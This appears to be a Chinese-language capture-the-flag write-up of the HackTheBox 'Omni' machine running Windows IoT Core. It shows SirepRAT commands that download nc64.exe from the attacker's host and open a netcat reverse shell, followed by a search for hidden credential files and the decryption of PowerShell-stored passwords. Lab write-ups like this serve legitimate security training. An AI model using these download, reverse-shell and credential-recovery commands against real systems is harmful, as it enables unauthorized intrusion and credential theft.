0%

HackTheBox-Omni

  • IP:10.10.10.204
  • Name: Omni
  • Difficulty: Easy - Medium

靶机ip不一致,是因为我截图的时间顺序。。因为后来重启了几次靶机。。

0x01 信息收集

nmap

image-20201223152442328

访问8080端口出现的是Windows Device Portal的登陆提示,直接在谷歌上搜索,确定该系统大概是Windows Iot Core。尝试利用SirepRAT

image-20201223154356414

image-20201223152654647

0x02 漏洞利用

尝试执行了修改app,administrator用户的密码,虽然提示修改成功,但是还法无法登陆web服务。新增一个普通用户也无法升级到adminsitrators用户组。。如果仔细观察的话,就会发现,系统会自动修改密码,因为Password last changeable 一直在变动,但是可以添加用户,不过被添加的用户也是无法被加入到管理员组,所以猜测是有什么后台脚本在运行着。。

image-20201223155358058

image-20201223155411489

创建一个用户登陆进来后,发现有个命令执行的窗口,看了下定时任务,不过没发现什么有趣的东西。。

image-20201223155844177

既然这条路不行,就先弹个shell吧。

Windows IOT 的powershell不能添加type,所以不能直接执行powershell的反弹命令。。

先尝试上传了nc.exe。。结果提示执行不成功,之后换了64位的,

1
2
3
python3 SirepRAT.py 10.129.2.27 LaunchCommandWithOutput --return_output  --cmd "C:\Windows\System32\cmd.exe" --args " /c powershell Invoke-WebRequest -Uri 'http://{Your-IP}/nc64.exe' -OutFile 'C:\Windows\System32\spool\drivers\color\nc64.exe' " --vv

python3 SirepRAT/SirepRAT.py 10.129.2.27 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args " /c C:\Windows\System32\spool\drivers\color\nc64.exe -e powershell.exe {Your-IP} 4444" --vv

image-20201223115848385

找到了flag。。结果是被加密过的。。

image-20201223120355735

image-20201223120322536

这些是powershell的加密过的一些凭证,解密方法如下

1
2
$credential = Import-CliXml -Path "C:\Data\Users\app\user.txt"  ## 导入凭证
$credential.GetNetworkCredential().password

这个解密步骤要在同设备,同账号下进行,所以我们要分别登陆到这两个账号上进行解密,那就是要拿到这两个账号的密码咯,既然这两个用户的密码会被重置会原来的密码,那就说明密码肯定存在某处???

1
Get-ChildItem C:\*.txt -Recurse -Force

从txt开始搜索,,到常见的脚本名称,,尝试了txt,xml,ini,vbs,bat,ps1啥的。。最后发现有个隐藏的脚本文件。

image-20201223151949811

image-20201223151750854

用得到的账号密码,分别登陆web服务,在命令执行的窗口下弹shell,再执行上面的解密步骤。就拿到flag了。。

1
C:\Windows\System32\spool\drivers\color\nc64.exe  -e powershell.exe {YOUR-IP} {YOUR-LISTEN-PORT}

image-20201223144111125

image-20201223145442624

image-20201223151200893

参考链接